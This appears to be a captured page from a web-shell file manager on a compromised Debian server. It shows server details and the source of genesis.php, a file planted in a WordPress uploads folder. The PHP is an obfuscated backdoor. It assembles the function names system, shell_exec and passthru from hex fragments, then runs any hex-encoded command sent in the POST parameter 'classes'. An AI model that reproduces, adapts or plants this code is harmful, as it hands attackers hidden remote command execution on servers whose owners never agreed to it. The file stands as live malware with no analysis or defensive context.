HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wp-content/uploads2/uploads2/2023/07/genesis.php
<?php

$attr1 = '7';
$attr2 = '9';
$attr3 = '3';
$attr4 = '4';
$attr5 = 'd';
$attr6 = '6';
$attr7 = '8';
$attr8 = 'c';
$attr9 = 'f';
$attr10 = '5';
$attr11 = '1';
$attr12 = '2';
$locked1 = pack("H*", $attr1 . '3' . $attr1 . $attr2 . $attr1 . $attr3 . $attr1 . $attr4 . '6' . '5' . '6' . $attr5);
$locked2 = pack("H*", '7' . '3' . $attr6 . $attr7 . $attr6 . '5' . $attr6 . $attr8 . '6' . $attr8 . '5' . $attr9 . '6' . $attr10 . '7' . $attr7 . $attr6 . '5' . '6' . '3');
$locked3 = pack("H*", '7' . '3' . '6' . $attr7 . $attr6 . '5' . $attr6 . $attr8 . '6' . 'c');
$locked4 = pack("H*", $attr1 . '0' . $attr6 . $attr11 . $attr1 . '3' . '7' . '3' . '7' . $attr4 . $attr6 . $attr7 . $attr1 . $attr12 . '7' . $attr10);
$classes = pack("H*", $attr6 . '3' . '6' . 'c' . '6' . $attr11 . $attr1 . $attr3 . $attr1 . '3' . '6' . $attr10 . '7' . $attr3);
if (isset($_POST[$classes])) {
    $classes = pack("H*", $_POST[$classes]);
    if (function_exists($locked1)) {
        $locked1($classes);
    } elseif (function_exists($locked2)) {
        $locked2($classes);
    } elseif (function_exists($locked3)) {
        $locked3($classes);
    } elseif (function_exists($locked4)) {
        $locked4($classes);
    }
    exit;
}